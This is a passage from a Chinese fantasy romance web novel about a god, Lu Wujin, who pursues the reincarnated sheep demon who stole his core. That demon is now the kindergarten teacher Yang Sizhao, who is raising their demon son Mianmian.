月仙走到他身边,看他眉心愁绪凝结,叹气道:“原本妖入人界,是不用历劫的,谁知天意弄人,三百年前他偷了你的化丹。” “有了化丹,就相当于成了半个神,进入人界,便要历劫,磨炼七情六欲,直至达到心性纯净的境界,方能结束轮回,突破修为瓶颈,跻身上神之位。” “这原本是你该经历的路。” “也是误打误撞,他替你成了神,你替他做了妖,就这样两相遗忘,各自安好,不是挺好的么,何必折腾?” 陆无烬眸色黯然,“我只想知道,他当年究竟爱没爱过我。” “若他没爱过你,所做的一切都只是为了偷你的化丹,你还要折腾吗?” 陆无烬自嘲地笑了笑,良久才开口:“等他、寻他,至少还有一个念想,忘记他,往后千年万年无尽,未免太孤独了。” 月仙翻开姻缘簿,上面是世间男女的姻缘线,红线纵横交错,层层叠叠。 “可是,这一世,他的红线上没有你的名字,往后三世,都没有。” 陆无烬像是完全听不见,自顾自地说:“我的血,能唤醒我的化丹,激发他的妖性,说不定也能唤醒他前世的记忆。” “只要你的化丹留在他体内一天,他的妖性就会被压制一天,绝不可能完全激发,除非他想起一切。” 还是这些车轱辘话。 陆无烬怒意渐盛:“不能透露,又要他想起一切,这不是自相矛盾吗?你们到底要我怎么做?” “你与妖相恋,诞育一子,本就乱了天纲,还来质问我?” 陆无烬背过身去,平息怒火,沉声问:“仙师,就没有其他办法了?” 月仙手指一划,于空中飞来一只只陈旧的簿册,“我纵览千年姻缘册,都没见过凭凡人之躯,想起前尘之事的例子。” 陆无烬面色未变,只是遥遥望向东南的方向,那是杨思昭所在的方向。 “等一下,我倒是想起一个法子。” “什么?” “他忘记前尘,是因为历劫者在进入轮回前,都要由溯光神官封存记忆,藏于识海深处,历劫结束方能解封。你不如就从这位溯光神官下手,正巧,他最近也被派去人间历劫了,你若有幸能遇见他,说不定,他能网开一面,提前解除封印。” “溯光神官?” “是,第七任神官,一百年前接任的,你应该没见过。” 陆无烬躬身,“多谢仙师。” 月仙叹了口气,抚须道:“要讨得神官的特许,难度和让他自己想起来,没什么差别。如果神官不允许,他也没想起来,没爱上你,又因你改变了他的命轨,致使他这一世历劫失败,灰飞烟灭,你的化丹也将灰飞烟灭,你就再没有回来做神仙的机会了!” 陆无烬竟然笑了。 “你笑什么?” “奔波了几百年,最后的结局竟然是像两个真正的凡人一样厮守到老。” 他低眉浅笑:“是我预想过的众多结局里,很好的一个。” 他起身欲离开,月仙问他:“不回去看看你的神宫?几百年了,不想家吗?” “我已经有家了。” 陆无烬回头看了一眼,对月仙说:“你这儿还是老样子,时代变了,宫殿该换个样式了。” 月仙摆摆手,“你懂什么?就你有家?这儿也是我的家,千年前我还是一介凡人时,我娘子就说,想要一个这样的宅院,谁料世事无常,我得道成——” 话还没说完,陆无烬就没影了。 “这臭小子……”月仙气得甩手,忍不住嘀咕:“原本还以为你是年轻一代里最六根清净的的,谁知道小妖怪勾引几下,就乱了心,丢了魂,命都不要了,真是造孽啊!”. “重死了,真是重死了!” 杨思昭费了老大的劲,才把陆无烬从阳台拖回到卧室。 也不知道发生了什么,上一秒他和陆无烬还在吵架,下一秒陆无烬就两眼一闭,倒在他身上,成了昏迷状态,不省人事。 杨思昭本来不想管他的,已经躺回床上了,抱着眠眠,蒙上被子,打算一觉睡到天亮。可终究是心慈手软,思前想后了五分钟,还是下了床,把陆无烬往卧室拖。 因为动静声太大,眠眠都被吵醒了,从被窝里爬出来,揉了揉眼睛,看到坏爸爸靠在床边,一只手搭在妈妈的肩膀上,妈妈弓着身子,被他压得站都站不起来。 “坏爸爸!”眠眠一个猛冲,爬到床边,对着陆无烬的胳膊就是一口。 正好咬在杨思昭十分钟前咬过的地方。 杨思昭看见了:“……” 他们还不是母子,胜似母子啊。 眠眠不知战况,就加入了战局,两只手抱住杨思昭的胳膊,两只小脚抵在陆无烬的肩头,铆足了劲,要把陆无烬踢开。 “不是不是,眠眠!”杨思昭哭笑不得,先松开陆无烬,回身拦住眠眠,轻声哄他:“爸爸晕倒了,我们先把他扶上床,好不好?” “不好,”眠眠摇头拒绝,“这是我和妈妈睡觉的地方,爸爸会把我挤下去的!” “不会的,爸爸晕倒了,”杨思昭在陆无烬的鼻梁上用力捏了两下,陆无烬还是一点反应都没用,“你看,爸爸一动不动,不会把眠眠挤下去的,眠眠放心。” 眠眠半信半疑,也凑上去捏了捏陆无烬的鼻梁,见他没有反应,这才同意。 杨思昭把陆无烬的胳膊搭在自己的肩头,眠眠也学着他,抱起陆无烬的胳膊,高高举起,嘴里还喊着“咻咻咻”,给自己加油。 结果下一秒就被压得站都站不稳,一屁股坐到地上了,他呆呆地望向杨思昭。 杨思昭狠狠剜了一眼陆无烬。 真烦人。 醒着讨人嫌,昏迷了还是讨人嫌! 他拼尽全力终于把陆无烬搬到床上,看着随便一躺就占据了大半个床的男人,又看着自己凌乱的睡衣,浑身的汗,简直气不打一处来。 “眠眠回被窝睡觉,老师——”杨思昭顿了顿,“妈妈去洗个澡,待会儿过来。” 眠眠乖乖爬回被窝。 他依依不舍地望着杨思昭离开的背影,然后皱着小小的眉头,望向昏睡不醒的陆无烬。想了想,又爬出来,坐到陆无烬的手臂边,把暖烘烘的被窝留给妈妈。 他等啊等,等到打瞌睡了,杨思昭还没有回来。 突然,他感觉自己的屁股被人捏了一下,他立即望向陆无烬,陆无烬仍闭着眼,和刚才是一模一样的姿势,一点都没变。 眠眠揉揉自己的屁股,四处张望无果,只好迷迷糊糊地钻回了被窝。 还没闭眼,脸颊肉又被人捏了一下。 “呜……妈妈!” 杨思昭睡衣还没穿好就急匆匆地走进来,“怎么了怎么了?” “妈妈,房间里有妖怪哇!”眠眠扑到杨思昭的怀里。 杨思昭嘴角抽了抽,心想:宝宝,你不就是小妖怪吗? “妖怪捏我屁股和脸。” 这话一出,杨思昭立即断了案,抱着眠眠上了床,坐在陆无烬身边。 陆无烬还昏迷着,眼皮沉覆,丝毫不见苏醒的迹象。杨思昭灵机一动,伸手捏住了陆无烬的鼻翼,让他不能出气。 装,你再装? 我不信你人形状态不用喘气。 可他捏了足足半分钟,陆无烬也还是一动不动,紧闭的薄唇也丝毫未启。 不会被他捏得缺氧窒息而死了吧? 杨思昭吓得立即收回手,推了推陆无烬的肩膀,见他不动,立即俯身靠在陆无烬的脸边,感受他的呼吸,“陆无烬?” 没有呼吸! “陆无烬你别吓我!” 杨思昭一下子慌了,明明洗澡之前探他鼻息还是正常的,怎么一会儿的功夫就没气了?虽然他很讨厌这个男人,莫名其妙闯进他的生活,强吻他,对他动手动脚,还监视他,但……至少送了一个眠眠给他。他再讨厌陆无烬,也不希望他死。 他双手按住陆无烬的肩膀,用力摇晃,慌到使不出力气,正要给陈此安打电话,手腕就被握住了。 微凉修长的手指如小蛇般圈住了杨思昭的手腕,在他腕内的筋脉上轻轻摩挲,杨思昭一低头,对上了陆无烬似笑非笑的眼。 “陆!无!烬!” 杨思昭的手还没招呼上去,就被陆无烬圈住了腰,箍到胸前,陆无烬问他:“小羊老师,你好像不太希望我死?” 杨思昭扭过头,咬牙切齿,“我不想和你说话。” “可是我想和你说。” 杨思昭捂住自己的耳朵。 “我没有拿你当替身,从来没有,我不希望你误会,但也没办法解释得更清楚。” 杨思昭逐渐缓和下来,脸还是冷着,“听不懂你在说什么,装神弄鬼。我不信这个世界上有什么事情是解释不清楚的。” “天机不可明宣。” “……哦。” 提到天机,杨思昭一下子有了敬畏心,也不吭声了。 虽然还有满腹怨言,但他承认,陆无烬睁开眼的那一刻,那种失而复得的情绪,几乎吞没过往所有不愉快、痛苦与真相。 至少陆无烬还活着不是吗? 只要陆无烬还在,他所有的别扭、迷茫、混乱,总有一天能找到答案。 陆无烬直勾勾地盯着他的脸,没过多久,一只圆圆的小脑袋也凑了过来。 又卷又软的头发扫过两个大人的脸颊,带来一股儿童洗发露的牛奶香味。 眠眠歪着脑袋,和陆无烬一起盯着杨思昭的脸,又在陆无烬的肩膀上爬来爬去,企图挡住陆无烬的视线,让杨思昭只看他。 陆无烬把他的脑袋拨开,他又挤了过来,发现杨思昭在看陆无烬的时候,立即急着说:“妈妈,妈妈,看我的嘴巴。” 杨思昭疑惑,“你的嘴巴怎么了?” “我的嘴巴可以张这么大,啊——” 杨思昭噗嗤一声笑出来。 他把眠眠抱起来,逗他:“那你的嘴巴可以闭得有多小?” 眠眠抿紧嘴巴。 “鼓起嘴巴呢?” 眠眠立即变成小金鱼。 杨思昭在他软乎乎的脸颊上亲了一口,“好厉害的眠眠,我们一起睡觉吧。” 眠眠笑嘻嘻地说:“好!” 陆无烬在一旁看着,也说:“好。” 话音刚落,他已经被杨思昭赶出卧室了。 隔着门板,杨思昭扬声说:“这是我和眠眠的床,你别跟我说你也想睡?” “门都没有!”杨思昭一字一顿。 眠眠歪了歪小脑袋,疑惑地说:“妈妈,门在这边呢。” “……” 杨思昭不知如何解释,站在门边听了一会儿动静,听到陆无烬似乎睡在沙发上了,才抱着眠眠上了床,一起钻进被窝. 这一晚他睡得不太安稳。 不知道是不是陆无烬的血,给他的身体带来了负担,他的心脏跳得比平常快些。 做了许多奇奇怪怪的梦。 梦里有一片郁郁青青的树林,有潺潺溪流,溪边有几棵桃树,绯红的花瓣随风吹落,落入流水,向远方流去。 突然之间,两只小羊从草丛中飞奔出来,其中一只通身纯白,唯独尾巴尖有一簇黑的小羊,调转了方向,追着那花瓣跑。 “洵暮!别乱跑!” 另一只褐色小羊发出吼声,小白羊停顿片刻,然后头也不回地跑远了。 很快,一道湿淋淋的白色身影如闪电般窜了回来,直直地冲到褐羊面前,熟练地幻化成人形,出落成一个清秀标致的少年,嘴里还叼着一片桃花瓣,傻兮兮地朝褐羊笑。 “没有香味,不好吃。” 褐羊也化作人形,伸手将少年头顶的发髻扶正,叹了口气,“暮儿,你什么时候才能长大?你知不知道我们此行要做什么?” “知道啊,找到净梵神君,偷走他的化丹,解我们羊族之困嘛!” “你说得容易,那可是神君,要是被他发现了你的意图,你就完了。” “我会怎么样?” “最好的情况是你被神君贬为恶妖,永世不得翻身,最坏的情况就是你直接被神君杀死,灰飞烟灭,连跟毛都不剩。” 洵暮脸色一白,老老实实地跟在褐羊后面,“好吧,我会注意的。” “净梵神君来妖界布道,点化有仙缘的妖,暂时居住在洵山山顶的青叶林,这是我们唯一能接触到神君的机会。虽然你功力远不如神君,但你幼时练成回澜之法,此法能扭转乾坤,不管对手有多强大,只要他不带任何法器,赤手空拳地踏入你的阵法,偷走他的化丹就如探囊取物——” 褐羊眉头紧皱,揪回魂不守舍的洵暮,“我说这么多,你听到没有?” “听到了听到了!你都念叨二十年了,我知道我要做什么!不就是勾引神君然后偷他的化丹嘛!”他转头望向洵山山顶那抹云雾环绕的绿意,“哥,你放心,我一定成功。” 说罢,他就变回原形像山顶奔去。 一路与许多妖擦肩而过,他听到许多议论声—— “神君太严厉了,竟然说有七情六欲就不能升仙,你说说,谁没有喜怒哀乐?连喜怒哀乐都没有,那不成木头了吗?” “神君就没有,我从没见他笑过。” “无喜无悲,这也太难了,难道我这辈子都不能成仙了?” “不过神君真是英俊。” “是啊是啊,我上回去人间看了一眼新任探花郎,说是天下第一美男子,那相貌身量,和神君比起来还差的远咧!” 洵暮越发好奇,他倒要看看这个即将被他偷走化丹的倒霉神君长什么样子。 结果刚到青叶林,就被神君的侍女拦住了,“今日布道结束,神君已经歇下,明日再来吧。” 洵暮心急,他和哥哥赶过来就花了半月,都到神君家门口了,还要等一夜,他实在等不及了,远远看到竹林深处一袭白衣,便知是净梵神君。“我我我问仙心切,只求见一面神君!”说着就要往里走。 “神君申时一刻之后不见人,想擅闯,门都没有!”侍女说。 洵暮很疑惑,指着竹门说:“门不就在那儿吗?” 侍女疑他有异心,合力将他击退。 洵暮一时不备,忘了防御,直接被震出几十米远,狠狠砸在地上,晕了过去。 不知过了多久,洵暮慢悠悠地醒过来,伴随着全身的酸痛,他缓缓睁开眼,悲伤地想:这儿一点都不好玩,我想回家了。 正难过着,忽然有脚步声传来。 很轻缓的脚步声,明明踩在枯叶上,却如踏水般轻盈。他呆呆地听着,直到那声音离他很近了,才歪过头,视线自下而上扫过,看到一个身穿绀青色长袍的年轻男子。 好俊俏,洵暮痴痴地想。 “你也是妖吗?你也是来见净梵神君的吗?”他翻了个身,盘腿坐在男子身前,仰头抱怨道:“神君的侍女好凶啊,我才说一句话就把我打出来了,你是来做什么的?” 男人面色平淡,只看了他一眼,便离开了。 “真是莫名其妙!”洵暮咕哝道。 填饱了肚子,他又去闯青竹林,不出意外,又被侍女打了出来,手被打出两道青瘀,第二天,逃跑时崴了脚,第三天,脸也肿了…… 一个月后,他蜷缩在草堆里舔舐伤口,周围的果子都吃光了,他只能喝点露水充饥。 正悲伤地望着天空时,一张不久前见过的俊俏面孔遮住了他的视线。 男子垂眸望着他。 如逢故友,他更加悲伤了,抹着眼泪说:“呜……呜呜……我劝你别去找神君了,神君的侍女好可怕,打得我浑身都是伤。” 男子的视线先是落在他忘了收起来的小羊角上,然后缓缓往下,看到他脸上、脖子上、肚子上的伤,最后重新回到他的脸上。 洵暮哽咽着控诉,“我就第一天说了两句话,后来呜呜……我一出现就打我……” 男子启唇问:“你找神君做什么?” 洵暮呆住了。 是啊,他找神君做什么来着? 他想起来了!偷化丹! “偷——”话一出口他就打了个激灵,不对不对,这件事怎么能说出来?被神君知道他就完了啊。 神君会把他杀得一根毛都不剩。 他又想起哥哥的叮嘱,勾引勾引。 于是他仰起头,露出明媚的笑容,“能不能麻烦你告诉神君,我倾慕他好久啦!” 杨思昭醒来时,已经接近中午。 他明明记得他前半夜辗转难眠,可不知梦到了什么,后半夜竟然睡得极沉。沉到眠眠醒了,在他的怀里拱来拱去,他都没醒,一觉睡到太阳晒屁股。 “十一点十二分???” 他望向手机屏幕的眼睛倏然睁大,眨了眨,确实是十一点。再一低头,看到窝在他臂弯里玩小火车的眠眠,他立即问:“眠眠,你吃早饭了吗?” “妈妈你醒了!”眠眠一骨碌翻过身,扑到杨思昭胸口,“吃过早饭了,是陈叔叔送过来的,还有妈妈爱吃的鲜肉汤包。” 眠眠表演了一个“吸吸”的动作,倚在杨思昭怀里,软绵绵地说:“可好吃了。” 杨思昭揉了揉他的小肚子,“眠眠吃了几个?” 眠眠伸出小手,“五个。” 杨思昭抱着他坐起来,“好厉害啊,眠眠吃了五个汤包,有没有被烫到舌头呀?” “吃第一口的时候有一点点烫,陈叔叔让我等一等再吃,爸爸没有吃。” 杨思昭怔住,“你爸爸还在?” 眠眠点了点头。 杨思昭刚要下床,又想起来问:“现在外面除了你爸爸,还有其他人吗?” 眠眠摇头。 杨思昭这才下了床,打开卧室门。 明明是正午,客厅里却昏暗无光,窗帘都拉上了,像个妖窟,而妖窟的主人端坐在单人沙发上,闭着眼,指尖时不时在半空中划两下,荧蓝色的光线出现又消失。 在杨思昭的视角里,真是诡异得很。 他竟然放任自己和这样诡异的老妖怪同在一个屋檐下,超过了十二个小时。 “醒了?”陆无烬忽然出声。 杨思昭吓了一跳,快步走到窗边,霍的一下把窗帘拉开,家里瞬间亮堂起来。 “你怎么还在我家?” “不是说了吗,别墅停电了。” “……陆无烬,不会讲冷笑话就不要讲。”杨思昭懒得跟他说话,走到厨房,蒸锅里的汤包还热腾腾的,左边是鲜肉汤包,右边是蟹粉汤包,第二层蒸屉里还有一碗黑米甜豆浆,一颗茶叶蛋,一碟小腌菜。 这早饭还不错。 杨思昭没脾气了,一边闻着一边想:如果以后每天都有这种待遇就好了。 谁料,陆无烬竟像他肚子里的蛔虫一样,突然开口:“陈此安给我发来了菜单,明早你想吃鸡汤米线,还是鲜肉小馄饨,还是生煎包?” 杨思昭转过身,皱着眉头望向陆无烬,“什么意思?” “或者你想吃西式的,也有。” “你什么意思?” “我问你喜欢吃什么。” “不是,陆无烬,我跟你捋一捋,昨天,你莫名其妙跟着我回家,和我妈吃了一顿饭,又莫名其妙地要强行消除我记忆,对我喊了一个莫名其妙的名字,然后突然昏倒,醒来之后对我说了一堆什么天机不可明宣的鬼话——” 杨思昭走到他面前,指了指他的单人沙发,“现在又堂而皇之坐在我家,把自己当成主人一样,对我的早餐指手画脚。” “你到底想干嘛?” “我想和陆眠一样,住在你这里。” 时间和空间一起停滞了。 如果不是眠眠玩小火车时发出“哐哐当当”的声音,杨思昭一定以为自己幻听了。 陆无烬起身走向他,“能不能像接纳陆眠那样,容许我进入你的生活?” “不能!” 杨思昭只觉得脑袋晕乎乎,转过身直直地往厨房冲,嘴里念叨着“你又在发什么疯”、“你不找你老婆了吗”,他几乎手足无措,站在岛台边乱转,“叫什么来着?暮儿,对!暮儿,你不找他吗?” “你以后会知道的。” “又是天机?” 陆无烬颔首。 “我怎么知道是天机,还是你的鬼话?”杨思昭胸口起伏不平,和陆无烬僵持了很久,才反应过来,他考虑了那么多因素,却忘了最主要的: “我管你什么天机?关键是,我不喜欢你啊,我不喜欢男人。” 他像抓住了救命稻草,“对对对!我不喜欢你!我……我拒绝!” “试一试,”陆无烬往前走一步,将杨思昭困在双臂之间,“看小羊老师上次的反应,似乎也不是完全不能接受男人。” “不许提!” 陆无烬微微俯身,在杨思昭耳边说:“那天,你的身体明明有反应。” 几个字就像一根针扎在杨思昭的尾巴上,让他恨不得找个地缝钻进去,这辈子都不要出来。 他推开陆无烬,逃难似的躲进了卧室。 眠眠见状,连忙抛下小火车追了过去,却被门板拦住。 眠眠可怜巴巴地扒在门板上,怕妈妈不高兴,也不敢敲门,只用小手轻轻挠了挠,小声喊:“妈妈,是眠眠。” 陆无烬在他身后蹲下。 眠眠回过身,气到撅起嘴,“讨厌爸爸。” 陆无烬挑了下眉梢。 “坏爸爸。” “嗯。” 陆无烬将指尖按在眠眠的额头,有源源不断的灵力传送到眠眠的身体里。 “我不在的时候,保护好妈妈,还有,厨房蒸锅里那碗豆浆,要让妈妈喝了,听到没有?” 眠眠不情不愿地问:“你要去哪里?” “有点事,明天下午回来。” 话音刚落,他便消失了。 眠眠对此已经习以为常,往前伸手抓了抓,也感受不到爸爸的任何气息。他回过身,继续趴在门上,透过木门,听里面的声音。 妈妈没有哭。 没有哭为什么要躲进房间里,眠眠想不明白? 杨思昭一直憋到肚子饿得不行才出来,本来都已经摆足了架势,要继续和陆无烬理论一番的,结果一出门,客厅里空空如也。 只剩门边缩着的小眠眠。 “爸爸说他有点事,明天下午回家。” 杨思昭“哦”了一声,有种扑了个空的烦躁感。 哪有人刚表完白就玩消失的? 他先去洗漱,再到厨房端出早餐。 眠眠又变成粘人的小尾巴了,杨思昭走到哪里,他就跟到哪里。杨思昭一坐下,他就爬到凳子上,趴在桌边,眼巴巴地望着。 “想吃?” “爸爸说,要妈妈喝完豆浆。” “为什么?” 眠眠摇摇头,“不知道。” 杨思昭本来还有些赌气,故意把豆浆放到一边,“他让我喝我就喝?我偏不。” 可眠眠似乎很希望他喝,两只小手握成拳头并在一起,放在桌边,又把小脸蛋靠在上面,仰着头,眼睛眨巴眨巴地望着杨思昭。 “……好吧,妈妈不是你的对手。” 杨思昭端起豆浆碗就是一大口。 浓稠香甜,入口丝滑,就是细品起来,似乎隐隐约约有一股奇怪的味道,像铁锈。 他又喝了一口,还是有铁锈味。 “奇怪。”杨思昭顿生担忧:不会因为我拒绝他了,他就想毒死我吧? 而且他很明显地感觉到,豆浆顺着他的食道往下流时,心脏有很强烈的震动感。 不痛,但就像有什么东西在他的身体里,和他的心脏搏斗,此消彼长,坐立难安。 眠眠见状,立即扑到杨思昭怀里,抱住了他。 “妈妈!” 他像个小大人一样,轻轻拍着杨思昭的后颈,哽咽着说:“妈妈,不痛。” 杨思昭顿时清醒,大口大口地喘着气,额头抵在眠眠的小小肩头缓了一会儿。 “没事了没事了。” 眠眠泪眼婆娑,很是自责,“对不起妈妈,我再也不听爸爸的话了。” 要不是杨思昭有教育者起码的原则底线,他一定狠狠点头,彻底离间陆无烬和眠眠这俩父子,但他做不到。 他只能阴阳怪气,心口不一地说:“没事的眠眠,爸爸的话还是要听的。” 说到最后三个字的时候,他几乎起了杀心。 爸爸的话要听。 爸爸有多远滚多远. 陆无烬表白后就是一天的消失。 杨思昭坐在小(5)班的教室里,托着脸,看小家伙们跑来跑去。 小池画了一幅画,兴冲冲地跑到他面前,“小羊老师,你猜猜我画的是什么?” 杨思昭低头一看,画上是一个弯曲的火柴人,脑袋上长了两个角,倒在桌子上。 “这是……想爬上桌子的牛?” “什么呀!小羊老师,我画的是你!”小池一巴掌拍在自己的额头上,对自己的画作不被理解而深感悲伤,“你都这样发呆一整天了,陪我们玩两下,就又去发呆!” 杨思昭不好意思地笑了笑,“哪有?” 五只不约而同地点头:“有!” 眠眠后知后觉,跑过来看了看小池的画,一万个不同意,“这不是我妈妈,我妈妈比这个牛好看多了!” 小池:“……” 杨思昭:“……” “小羊老师,带着孩子们出来做体检了。”院长在走廊里喊。 “来了来了!” 灿灿幼儿园属于私立幼儿园,每年年底都会有一次体检活动,孩子们和老师们都要参加。杨思昭一开始还很担心小妖怪们的体检指标会不会异常,引起别人的怀疑。 院长让他放心,“这些细节,孩子的家长们早就考虑过了,和普通孩子是一样的。” 当然也有一点不一样。 五只小妖怪对抽血这个项目,有着异于常人的淡定,他们站成一排,疑惑地望向其他鬼哭狼嚎的同学们。方小盼问:“有这么疼吗?那个针,还没我妈妈打我的时候,伸出来的爪子长呢!” 杨思昭连忙捂住他的嘴。 就连眠眠,似乎也不太害怕抽血,倒是杨思昭心疼得要命,闭着眼压根不敢看。 眠眠凑过去亲亲他的脸,小声说:“妈妈,不怕,有眠眠保护妈妈呢!” 杨思昭把他搂进怀里,和他脸贴着脸,腻了好一会儿,“晚上吃炖鸡汤!给我们家最勇敢的眠眠小勇士补一补。” 眠眠开心地晃了晃脑袋。 好不容易解决完孩子们,老师们也偷得半日闲,徐蕊过来敲敲门,“杨老师,医生在办公室等我们,过去测一下心率和血压吧。” “来了!” 徐蕊笑着问:“杨老师看起来身体不错?” “挺好的,虽然没怎么锻炼,但是体检单上没一个箭头。” “你还年轻呢。” 两个人进了办公室,徐蕊又说:“每天围着这群小喇叭转,心率和血压低都低不下来。” “我应该还好吧,可能我这人比较钝,从小到大都没遇到什么让我心率不稳的事。” “遇到喜欢的人呢?” “也不会加速成什么样的。” 杨思昭笑了笑,坐下来,医生将心率监测仪的指夹夹在他的手指上。 数值逐渐上升走回落,停在一个稳定的数字,“静息,每分钟66次,挺正常的。” “我就说吧。” 杨思昭刚要取下指夹,余光扫过门边。 下一秒。监测仪突然“滴滴滴”地叫起来。 ——75 ——89 ——118 医生愣住了,探头过来问:“怎么回事?怎么回事?怎么突然变成120了?” 杨思昭望着门口那个穿着浅灰色大衣的男人,他看起来悠闲而懒散,倚在门边,熨帖的大衣勾勒出他修长而挺拔的身形,就连微微露出的袖口都显出与生俱来的矜贵。 衬得整间办公室都黯淡了。 众人望向门口,目露诧然之色。 陆无烬朝杨思昭挑了下眉,嘴角勾起笑意,“五点了,杨老师还没下班吗?” 第22章 杨思昭低头装作没看见,陆无烬的视线仍灼灼升温,不偏不倚地落在他身上。 监测仪仿佛装了扩音器,“滴滴”个不停,在狭小的办公室里不断放大,每一声都是最直接的罪证,将杨思昭的小心思暴露无遗。 他后知后觉,急忙摘掉指夹。 “这个、这个不是。” 他手足无措地站起来,退到一边,医生问他:“杨老师,还有血压没测呢。” 不用测,杨思昭也能猜到自己的血压现在有多高,他怀疑如果陆无烬一直待在他身边,他的血压会高到让他年纪轻轻就得冠心病的程度。 他闭了闭眼,深吸一口气。 “不用了,我这次先不测了。”他朝医生笑了笑,又向陆无烬露出正式而礼貌的笑容,一脸惊讶:“眠眠爸爸,您怎么来了?” 他特意加重了“眠眠爸爸”四个字,表现得十分有距离感,以摆脱陆无烬营造出的暧昧关系,还语气夸张地说:“眠眠在教室呢,怎么回事,您没看到他吗?” 陆无烬看他表演,浅笑不语。 也许是他的眼神太暧昧,杨思昭已经听见有两个老师在细声私语,诸如“听说那个孩子天天跟着小杨回家的”“怎么和家长关系这么好”之类的议论开始蔓延。然而始作俑者毫无愧意,依旧倚在门边,眼里含着笑,好整以暇地看杨思昭向他走去。 “杨老师怎么不继续测个血压?”他明知故问。 杨思昭恶狠狠地剜了他一眼。 而后忙不迭拖着他离开了办公室,临走前,陆无烬回头看了一眼徐蕊。 目色寒意浸骨。 徐蕊脸上的表情瞬间凝固。 “谁让你过来的?”杨思昭怒气冲冲地朝陆无烬搡了一把,“还跑去其他老师面前现眼!” 陆无烬原本纹丝未动,但还是假模假样地往后踉跄了两步,说:“我四点就来了,看你们一直没出来,我才进来找你们的。” “因为今天体检,推迟一个小时放学,你这种对孩子毫不上心的家长怎么会知道?” “不是有你么,眠眠妈妈?” “你你你——”杨思昭惊起一身的鸡皮疙瘩,几乎想攥起拳头,一拳攮在陆无烬那张似笑非笑的脸上,他警告:“在外面不许提!” 陆无烬扬了下眉,笑意更深。 杨思昭朝他摆了摆手,“走走走,你不要待在这里!” “小孩太闹腾,我是来帮你的。” 这时候,乐乐跑出来求助:“小羊老师燕鱼,圈圈被裤子绊倒了!” 杨思昭连忙走进班级,圈圈不知道怎么回事,竟然把两条腿塞进同一只裤腿里出不来了,倒在地上,像钟表一样转圈蛄蛹。 小池在一旁拿着画笔,刷刷开画:“圈圈变成美人鱼了!” 方小望摇摇头:“圈圈是胖头鱼。” 眠眠还不太明白发生了什么,学着圈圈,趴在地上转圈。 圈圈一见到杨思昭,立即委屈大喊:“小羊老师快来救救我!” 杨思昭立即帮他脱了裤子,然后拍拍手:“都过来,把衣服穿好,放学了。” 几个小家伙虽然平时闹腾,但关键时候还是很听杨思昭的话,杨思昭一拍手,他们就放下手里的玩具,齐刷刷地跑过来,在杨思昭面前排起了小火车。杨思昭给他们穿上外套,换鞋子。 冬天的衣服最繁琐,除了外套还有小马甲。杨思昭像流水线男工一样,打包一个小朋友,又来一个小朋友。就在杨思昭给乐乐换上她迪士尼公主同款的漂亮小靴子时,陆无烬走到教室门口。 杨思昭意识到不对劲的时候已经来不及了,下一秒,教室就变成了动物园。 小狮子和小狼左突右冲,咚的一声撞了个落花流水,两只小狐狸抱在一起,躲在窗帘后面瑟瑟发抖,小锦斑鸟疯狂扑棱着翅膀,想要飞出去,结果一头撞在玻璃上,两眼冒金星,晕乎乎地落下来。 只有眠眠没有变,他跑过去,接住小池,结果绊了一跤,又把小池摔出两米远。 “……”杨思昭咬牙切齿,“陆无烬!这就是你帮我的方式?” 陆无烬认错态度良好:“抱歉。” 他指尖一划,五只小妖怪迅速恢复了原状,但五只仍然瑟瑟缩缩地躲在窗帘后面,泪眼婆娑,看起来害怕极了。 眠眠看朋友如此,也跟着掉眼泪,张开短短的胳膊,一边抽抽噎噎,一边挡在朋友们面前。 “不、不可以!” 陆无烬定定地看着他。 来到杨思昭身边之后,小家伙好像变得不太一样了。 洵暮是在眠眠九个月的时候离开的,那时陆无烬身中回澜咒,醒来时胸口多了一个血窟窿。侍女告诉他,洵暮带着化丹逃跑了。化丹没了,陆无烬丢了半条命,他勉强止住血,挣扎着站起来,寻遍了洵山,也找不到那只小羊妖。回到屋里,他连站都站不住了,趔趄着倒在桌边,感觉到体内的灵力正在迅速流失,就在视线陷入黑暗的前一刻。 他听见了一声婴孩的啼哭,是襁褓里的眠眠。 那是他们的孩子,就在昨天,洵暮还说要带着眠眠去云天山看七彩云,因为见到七彩祥云的人,能一生幸福无忧。转眼间,他就消失了。 只剩半条命的陆无烬,向无藏山的山主献上了五百年的修为,换得一只寒珀。将眠眠送进寒珀的前一晚,陆无烬抱着他,整整一夜未眠。 进寒珀之前,陆无烬刚要施法,手指却被一个小小的、软软的东西握住了,他低头,看到了眼泪汪汪的眠眠。眠眠仿佛有所感知,握着他的手,怎么都不放。 那时候,陆无烬就想,所有的记忆和痛苦就让他一个人承受,他的孩子,什么都不需要记得。 可事与愿违,一百年后,眠眠苏醒。醒来之后他先是什么都不记得,无忧无虑地生活着,某一天,在林间玩耍时,他遇到了一只小山羊,小山羊看中了他手里的叶果,走过来,用鼻子拱了拱眠眠的小手。当天晚上,眠眠高热不止,哭着喊娘亲。没办法,陆无烬又用五百年修为换来一只寒珀。 又是一百年的冰封。 接着,周而复始。 直到两个月前,他在月岭市发现了转世的杨思昭,而陆眠偷听到了他和陈此安的对话,背上小书包,带着小水壶和两块面包,离家出走,独自找妈妈,半路被他捉了回来。 也许是出于对洵暮的复杂情感,在很长一段时间里,陆无烬不知道怎么面对陆眠。他尝试着把陆眠当成一个只需要阳光雨露就能独自生长的小灵果,却忘了除去三百年的沉睡,这颗小灵果还是一个不到四岁的孩子,需要爱、需要陪伴、需要朋友……这些他都没有给予足够。但小灵果仍然在他的忽视和缺位中,顽强地长大了,变得和他一样沉默寡言。 幸好,他找到了妈妈。 “你给我出去。” 杨思昭用力把陆无烬推出教室。 门一关上,他就冲到窗帘后面,可孩子们的紧张与害怕并没有缓解,甚至因为杨思昭的靠近,先天体质最弱的方小盼直接哭了出来,呜咽着说:“小羊老师,我闻到你身上有坏妖怪的味道。” 杨思昭愣了一愣,迅速往后退。 最后的结果是,陆无烬隔着门施了法术,让小家伙们平静下来,还给他们都注入了一些灵力,再由家长们一一带回。 几个家长见到陆无烬时,便什么都不敢问了,连杨思昭向他们道歉,他们也说:没什么没什么,多谢先生,多谢杨老师。 教室里变得空荡荡。 杨思昭冷冷看了陆无烬一眼,牵起眠眠的手就走出了幼儿园。 像上次一样,陆无烬还是跟在他们后面。 “我知道,你想展示你很厉害,你是妖王,万妖敬仰,小妖怪们一见到你,就哭着变回原形。” “真是好厉害哦!能穿墙入室,抹去别人的记忆,随意搅乱别人的人生,还毫无愧意。” “藏了一堆不可泄露的天机,说了几句莫名其妙的话,又莫名其妙消失。” 杨思昭抱怨了一通,回过头望向陆无烬,很想骂些什么,最后只憋出一句:“我讨厌你!” 这句讨厌似乎很有效。 